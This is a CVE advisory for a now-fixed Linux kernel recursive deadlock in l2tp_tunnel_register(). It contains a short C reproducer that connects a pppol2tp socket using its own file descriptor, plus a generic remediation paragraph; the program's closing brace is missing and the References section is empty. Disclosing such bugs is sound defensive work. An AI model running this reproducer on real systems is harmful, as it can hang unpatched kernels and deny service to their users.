CVE-2023-53809

/// Technical description

In the Linux kernel, the following vulnerability has been resolved:

l2tp: Avoid possible recursive deadlock in l2tp_tunnel_register()

When a file descriptor of pppol2tp socket is passed as file descriptor

of UDP socket, a recursive deadlock occurs in l2tp_tunnel_register().

This situation is reproduced by the following program:

int main(void)

{

int sock;

struct sockaddr_pppol2tp addr;

sock = socket(AF_PPPOX, SOCK_DGRAM, PX_PROTO_OL2TP);

if (sock < 0) {

perror("socket");

return 1;

}

addr.sa_family = AF_PPPOX;

addr.sa_protocol = PX_PROTO_OL2TP;

addr.pppol2tp.pid = 0;

addr.pppol2tp.fd = sock;

addr.pppol2tp.addr.sin_family = PF_INET;

addr.pppol2tp.addr.sin_port = htons(0);

addr.pppol2tp.addr.sin_addr.s_addr = inet_addr("192.168.0.1");

addr.pppol2tp.s_tunnel = 1;

addr.pppol2tp.s_session = 0;

addr.pppol2tp.d_tunnel = 0;

addr.pppol2tp.d_session = 0;

if (connect(sock, (const struct sockaddr *)&addr, sizeof(addr)) < 0) {

perror("connect");

return 1;

}

return 0;

/// Remediation

Check the references section for vendor advisories, patches, and mitigation guidance. If immediate patching is not possible, review the CVSS vector to understand the attack surface and apply compensating controls such as network segmentation or access restrictions.

/// References